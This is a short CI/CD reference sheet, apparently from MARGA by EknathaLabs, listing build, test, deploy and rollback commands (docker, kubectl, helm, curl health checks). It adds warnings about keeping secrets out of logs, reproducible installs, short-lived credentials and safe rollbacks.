Warning: *Never print secrets in a pipeline log, and do not run* `env` *or* `set -x` *in a step that has secrets. Masking works only for values that the system knows as secrets.*

Build, test and promote

```
make test
pytest -q --maxfail=1 --junitxml=report.xml
npm ci && npm test
docker build --pull --cache-from app:cache -t app:$SHORT_SHA .
docker push registry.example.com/app:$SHORT_SHA
docker buildx imagetools inspect registry.example.com/app:$SHORT_SHA
curl -fsS https://staging.example.com/healthz
curl -fsS -o /dev/null -w '%{http_code}\n' https://staging.example.com/version
```

Warning: *Use* `npm ci` *or a lock file install in CI, not* `npm install`*. Unlocked installs make builds that cannot be repeated.*

Warning: *Build once and promote the same artifact through environments. Rebuilding for production means that you ship something nobody tested.*

Deploy and rollback

```
kubectl set image deploy/api app=registry.example.com/app:$SHORT_SHA -n shop
kubectl rollout status deploy/api -n shop --timeout=180s
kubectl rollout undo deploy/api -n shop
helm upgrade --install api ./chart -n shop --atomic --timeout 5m
curl -fsS https://example.com/healthz || exit 1
```

Warning: *Do not let a pipeline deploy to production with admin credentials that live forever. Use short-lived credentials, a protected environment and a manual approval for risky changes.*

Warning: *A rollback does not undo database changes. Make migrations backward compatible, and ship them before the code that needs them.*

Warning: *Re-running an old pipeline can redeploy an old version over a newer one. Check the commit and the version before you press retry.*

MARGA by EknathaLabs
marga.eknathalabs.com